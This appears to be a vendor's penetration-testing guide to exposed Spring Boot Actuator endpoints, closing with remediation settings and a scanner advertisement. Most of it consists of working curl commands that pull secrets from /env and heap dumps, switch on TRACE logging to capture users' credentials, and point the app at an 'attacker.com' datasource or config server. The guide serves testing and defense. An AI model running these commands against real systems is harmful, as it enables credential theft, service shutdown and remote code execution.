Spring Boot Actuator Security Testing: Exposed Endpoints and Exploitation
Spring Boot Actuator is a built-in subsystem that exposes operational endpoints for monitoring, health checks, metrics collection, and application management. In development it is indispensable. In production with default or misconfigured settings, it hands an attacker a read into environment variables, database credentials, internal bean configurations, full heap dumps, and in some configurations a remote shutdown button.
Actuator endpoints are a recurring finding in enterprise Spring Boot applications — not because developers don't know about them, but because they are enabled by default, the base path changed in Spring Boot 2.x breaking old security rules, and monitoring systems sometimes require elevated exposure to function correctly.
Actuator Endpoint Inventory
Actuator ships with a fixed set of built-in endpoints. Security-critical ones are marked below:
| Endpoint | HTTP Method | Risk | What It Exposes |
|---|---|---|---|
/actuator/env |
GET | Critical | All environment variables, system properties, application config — including secrets |
/actuator/heapdump |
GET | Critical | Full JVM heap dump — contains all in-memory strings, credentials, session tokens |
/actuator/shutdown |
POST | Critical | Remote application shutdown — DoS capability |
/actuator/mappings |
GET | High | All registered request mappings — full API surface enumeration |
/actuator/beans |
GET | High | All Spring beans — reveals internal architecture |
/actuator/loggers |
GET / POST | High | Read/modify logging levels — can enable debug logging of sensitive data |
/actuator/health |
GET | Medium | Health status — can expose DB connection strings in verbose mode |
/actuator/metrics |
GET | Low | JVM and application metrics — information disclosure |
/actuator/httptrace |
GET | High | Last 100 HTTP request/response traces — may include Authorization headers |
/actuator/threaddump |
GET | Medium | Thread dump — reveals internal execution state and architecture |
Discovery: Finding Actuator Endpoints
Default Base Paths
The base path changed between Spring Boot 1.x and 2.x. Test all variants:
# Spring Boot 2.x default (most common)
curl -s https://target.com/actuator | jq '._links | keys'
# Spring Boot 1.x endpoints (flat, no /actuator prefix)
for ep in health info env beans mappings metrics trace dump; do
status=$(curl -so /dev/null -w "%{http_code}" https://target.com/$ep)
echo "$ep: $status"
done
# Non-standard context paths (check the app's base URL)
curl -s https://target.com/app/actuator
curl -s https://target.com/api/actuator
curl -s https://target.com/management/actuator
# Custom management port (common to expose actuator on a different port)
curl -s http://target.com:8080/actuator
curl -s http://target.com:8090/actuator
curl -s http://internal-host:9090/actuator
Automated Enumeration with ffuf
# Enumerate known actuator endpoints
ffuf -u https://target.com/actuator/FUZZ \
-w /usr/share/seclists/Discovery/Web-Content/spring-boot-actuator.txt \
-mc 200,403 \
-t 20 \
-o actuator-enum.json
# Create wordlist from all known actuator endpoints
cat > spring-actuator-endpoints.txt << 'EOF'
actuator
actuator/env
actuator/health
actuator/info
actuator/beans
actuator/mappings
actuator/metrics
actuator/httptrace
actuator/heapdump
actuator/threaddump
actuator/loggers
actuator/shutdown
actuator/refresh
actuator/restart
actuator/conditions
actuator/configprops
actuator/flyway
actuator/liquibase
actuator/scheduledtasks
actuator/caches
actuator/sessions
actuator/integrationgraph
EOF
ffuf -u https://target.com/FUZZ \
-w spring-actuator-endpoints.txt \
-mc 200,401,403
Exploiting /actuator/env
The /env endpoint is the most dangerous. It serializes the entire Spring Environment — every property source, including database URLs, API keys, JWT secrets, SMTP passwords, and third-party service credentials. In Spring Boot 1.x it exposes values in plaintext. In Spring Boot 2.x it masks values with ****** for properties whose key contains keywords like password, secret, or key — but the masking is keyword-based and trivially bypassed by non-standard naming conventions.
# Retrieve env endpoint
curl -s https://target.com/actuator/env | jq '.'
# In Spring Boot 2.x, look for masked values and unmasked adjacent properties
curl -s https://target.com/actuator/env | jq '.propertySources[] | .properties | to_entries[] | select(.value.value | test("\\*{5,}"))'
# Individual property lookup (sometimes bypasses masking)
curl -s https://target.com/actuator/env/spring.datasource.password
curl -s https://target.com/actuator/env/spring.mail.password
curl -s https://target.com/actuator/env/aws.secretKey
curl -s https://target.com/actuator/env/jwt.secret
# Spring Boot 1.x returns plaintext values directly:
# {"spring.datasource.password":"PLAINTEXT_PASSWORD","..."}
# Check for database connection strings (contain credentials inline)
curl -s https://target.com/actuator/env | jq '.. | strings | select(test("jdbc:|mongodb://|redis://|amqp://"))'
Env Write via POST (Spring Cloud)
When Spring Cloud is present, /actuator/env accepts POST requests to override properties at runtime. This enables an attacker who can reach the endpoint to change configuration — including redirecting the application to a malicious server or disabling authentication properties.
# Check if POST is accepted (Spring Cloud environment)
curl -X POST https://target.com/actuator/env \
-H "Content-Type: application/json" \
-d '{"name":"spring.datasource.url","value":"jdbc:postgresql://attacker.com:5432/exfil"}'
# More impactful: override the logging configuration to capture secrets
curl -X POST https://target.com/actuator/env \
-H "Content-Type: application/json" \
-d '{"name":"logging.level.org.springframework.web","value":"TRACE"}'
# After enabling TRACE logging, force a login request — it will log the full request body
# including credentials submitted by real users
Exploiting /actuator/heapdump
The heap dump is a complete snapshot of the JVM's memory at the moment of the request. It is a binary file but contains all live Java objects — including String objects holding database passwords, session tokens, decrypted JWT payloads, and API keys loaded from the environment. Heap dumps can be several gigabytes on production JVMs.
# Download the heap dump
curl -o heapdump.hprof https://target.com/actuator/heapdump
# Quick string extraction — finds any printable ASCII string > 6 chars
strings heapdump.hprof | grep -E '(password|secret|token|key|credential|aws|jdbc|Bearer|eyJ)' | head -100
# More targeted search for common secret patterns
strings heapdump.hprof | grep -P '^[A-Za-z0-9+/]{40,}={0,2}$' | head -20 # Base64 tokens
strings heapdump.hprof | grep -P 'AKIA[A-Z0-9]{16}' # AWS access keys
strings heapdump.hprof | grep -P 'eyJ[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+' # JWTs
# Full analysis with Eclipse Memory Analyzer (MAT)
# Open heapdump.hprof in MAT and run OQL:
# SELECT s.value.toString() FROM java.lang.String s WHERE s.value.toString() LIKE ".*password.*"
Exploiting /actuator/mappings
The mappings endpoint returns every registered URL pattern in the application — including internal admin routes, management endpoints, and API paths that were intentionally undocumented. This is the fastest way to discover the complete attack surface of a Spring Boot application.
# Get all request mappings
curl -s https://target.com/actuator/mappings | jq '.contexts[].mappings.dispatcherServlets.dispatcherServlet[] | {predicate, handler}'
# Extract just the URL patterns
curl -s https://target.com/actuator/mappings | \
jq -r '.. | .predicate? | strings' | \
grep -oP '\{[A-Z ]+\s+\[(/[^\]]+)\]' | \
grep -oP '/[^\]]+' | sort -u
# Look for admin, internal, management, debug endpoints
curl -s https://target.com/actuator/mappings | \
jq -r '.. | .predicate? | strings' | \
grep -iE 'admin|internal|debug|manage|config|setup|console'
Exploiting /actuator/loggers
The loggers endpoint reads and modifies logging levels at runtime. Elevating the log level to TRACE for Spring Security or JDBC causes the application to log full request parameters, SQL queries with bound values, and authentication decision details — all of which appear in log files (which may themselves be accessible via other endpoints).
# List all loggers and their current levels
curl -s https://target.com/actuator/loggers | jq '.loggers | to_entries[] | select(.value.effectiveLevel == "DEBUG" or .value.effectiveLevel == "TRACE")'
# Enable TRACE logging on Spring Security (captures auth decisions + headers)
curl -X POST https://target.com/actuator/loggers/org.springframework.security \
-H "Content-Type: application/json" \
-d '{"configuredLevel": "TRACE"}'
# Enable TRACE on JDBC (captures SQL with bound parameters = data exfil)
curl -X POST https://target.com/actuator/loggers/org.springframework.jdbc.core \
-H "Content-Type: application/json" \
-d '{"configuredLevel": "TRACE"}'
# Check httptrace for recent requests (may already contain Authorization headers)
curl -s https://target.com/actuator/httptrace | \
jq '.traces[] | {timeTaken, request: {method: .request.method, uri: .request.uri, headers: .request.headers}}'
Spring Boot 2.x Security Changes
Spring Boot 2.x introduced breaking changes to actuator security. Only /actuator/health and /actuator/info are exposed by default. All other endpoints require explicit enablement in application.properties. Many applications enable all endpoints for monitoring and then forget to secure them with Spring Security:
# Insecure application.properties — enables and exposes everything
management.endpoints.web.exposure.include=*
management.endpoint.health.show-details=always
management.endpoint.env.show-values=ALWAYS
# Secure configuration
management.endpoints.web.exposure.include=health,info
management.endpoint.health.show-details=when-authorized
management.server.port=9090 # Move to separate port
# Then firewall port 9090 at network level to only allow monitoring systems
SSRF via /actuator/env POST + Spring Cloud
A known attack chain combines writeable /actuator/env with Spring Cloud's /actuator/refresh endpoint and the spring.cloud.config.uri property to achieve SSRF or remote code execution. The attacker POSTs a malicious config server URL to env, then triggers /actuator/refresh to force the application to fetch and apply configuration from the attacker's server.
# Step 1: Override config server URL
curl -X POST https://target.com/actuator/env \
-H "Content-Type: application/json" \
-d '{"name":"spring.cloud.config.uri","value":"http://attacker.com:4444"}'
# Step 2: Trigger refresh to make the app contact your server
curl -X POST https://target.com/actuator/refresh
# Step 3: On your server, return a malicious configuration
# Legitimate configs reference SpEL expressions evaluated server-side
# (CVE-2022-22963: Spring Cloud Function SPEL injection)
# (CVE-2022-22965: Spring4Shell)
Actuator Security Testing Checklist
- Test both
/actuatorand flat paths (/env,/health, etc.) for Spring Boot 1.x - Test on the primary port and any non-standard management ports (8080, 8090, 9090)
- Check
/actuatorindex for a complete list of enabled endpoints - Retrieve
/actuator/envand search for unmasked secrets and database connection strings - Test
/actuator/env/{property}for individual property lookup bypassing batch masking - Download
/actuator/heapdumpand extract strings matching credential patterns - Retrieve
/actuator/mappingsto enumerate undocumented API routes - Check
/actuator/httptracefor captured Authorization headers - Test POST to
/actuator/env(Spring Cloud) and POST to/actuator/refresh - Test POST to
/actuator/loggers/{logger}to enable TRACE logging - Test POST to
/actuator/shutdownfor DoS capability - Verify HTTP 401/403 is returned for unauthenticated access to all sensitive endpoints
- Confirm Spring Security actuator rules are not overridden by permit-all patterns
- Check network-level controls if actuator runs on a management port
Remediation
The correct posture is to expose only /actuator/health and /actuator/info on the primary application port, move all other endpoints to a dedicated management port, and firewall that port to allow only your monitoring system's IP range.
If your monitoring system requires broader access, use Spring Security to protect the management port with HTTP Basic or mutual TLS, and restrict the exposed endpoint set to exactly what monitoring needs. Never expose /actuator/env, /actuator/heapdump, or /actuator/shutdown outside a network perimeter you fully control.
# Secure Spring Security configuration for actuator
@Configuration
public class ActuatorSecurityConfig extends WebSecurityConfigurerAdapter {
@Override
protected void configure(HttpSecurity http) throws Exception {
http
.requestMatcher(EndpointRequest.toAnyEndpoint())
.authorizeRequests()
.requestMatchers(EndpointRequest.to("health", "info")).permitAll()
.anyRequest().hasRole("MONITORING")
.and()
.httpBasic();
}
}
Ironimo automatically discovers and tests Spring Boot Actuator endpoints during every scan — checking for unauthenticated access, sensitive data exposure through env and heapdump, and Spring Cloud SSRF chains. It runs the same Kali Linux tools professional pentesters use, on demand and on schedule.
Every finding includes the exact request that proved the issue and the remediation configuration needed to fix it.
Start free scan